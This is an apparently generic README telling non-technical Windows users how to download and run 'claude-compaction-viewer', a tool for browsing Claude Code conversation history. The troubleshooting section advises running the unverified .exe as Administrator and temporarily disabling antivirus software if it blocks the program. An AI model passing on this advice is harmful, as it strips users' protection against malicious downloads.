🛠️ claude-compaction-viewer - View Claude Code Conversation History

claude-compaction-viewer is a simple tool to help you look at your Claude Code conversation history and compaction events. This guide will take you through the steps to download and run the tool on a Windows computer without needing any technical knowledge.

🌟 What Is claude-compaction-viewer?

This tool gives you two ways to look at your data:

• A text-based user interface (TUI) that lets you browse through your saved conversations.
• A command-line interface (CLI) for quick checks or automated use.

If you want to see what happened during your Claude Code interactions or how data was compacted, this tool makes that easy to understand.

📋 System Requirements

Before you start, make sure your computer:

• Runs Windows 10 or later.
• Has at least 4GB of RAM.
• Has 100 MB free space for installation.
• Can connect to the internet to download the tool.

No extra software or setup steps are needed.

🚀 Getting Started

Step 1: Visit the Download Page

Click the button below to go to the download page.

This link will take you to the GitHub page where you can find the tool files. It is the first step to getting the software on your PC.

Step 2: Download the Software

Look for the latest release. The page will have a section named “Releases.” Click on it and find the newest version.

Download the Windows version of claude-compaction-viewer. The file may end with .exe or .zip. If it is a .zip:

• Right-click the file.
• Choose “Extract All” and follow the prompts.
• Open the folder where you extracted the files.

If you see an .exe file, you can move to Step 3.

Step 3: Run the Program

• Double-click the downloaded .exe file.
• If Windows asks for permission, click “Yes.”
• The program will open a window with the text interface.

🔍 How to Use claude-compaction-viewer

Once running, you will see options on the screen to help you inspect your Claude Code history.

• Use arrow keys or your mouse to navigate through saved conversations.
• View details about compaction events, including timestamps and summaries.
• Switch between conversation view and compaction history.

The tool uses simple menus and instructions inside the window. Follow prompts shown on your screen.

⚙️ Command-Line Interface (CLI) Use

If you prefer, you can also run the tool from the Windows Command Prompt.

1. Open Command Prompt by typing cmd in the search box and hitting Enter.
2. Navigate to the folder where you saved claude-compaction-viewer using the cd command. For example:

   cd C:\Users\YourName\Downloads\claude-compaction-viewer

3. Run the tool by typing:

   claude-compaction-viewer.exe

The CLI version will list available commands, such as viewing history or compaction details. Type commands exactly as shown, and use the help command to learn more.

💾 Saving and Exporting Data

The tool allows you to save reports about your conversations and compaction events.

• While browsing, press the key shown on the screen to export data.
• Choose the location and file name for your report.
• Save files in common formats, such as .txt or .csv, for easy use in other applications.

You can keep a record of your data outside of the viewer.

🛠️ Troubleshooting Common Issues

If you cannot run the program:

• Make sure your Windows version is up to date.
• Check that the file downloaded completely and is not corrupted.
• Try running the program as Administrator by right-clicking the .exe and selecting “Run as administrator.”
• Disable any antivirus software temporarily if it blocks the program.

If the interface does not display, try increasing the size of the command prompt window or your computer’s display text size.

📞 Getting Help

If you run into problems beyond the ones described above, you can visit the GitHub page’s “Issues” section.

• Search to see if someone else had the same issue.
• Report your issue with clear details if it is new.

Developers and users help keep the tool working smoothly.

🔗 Download claude-compaction-viewer Here

This guide covers all the steps to download, run, and use claude-compaction-viewer on a Windows system. It was written to help you use this tool with no programming required.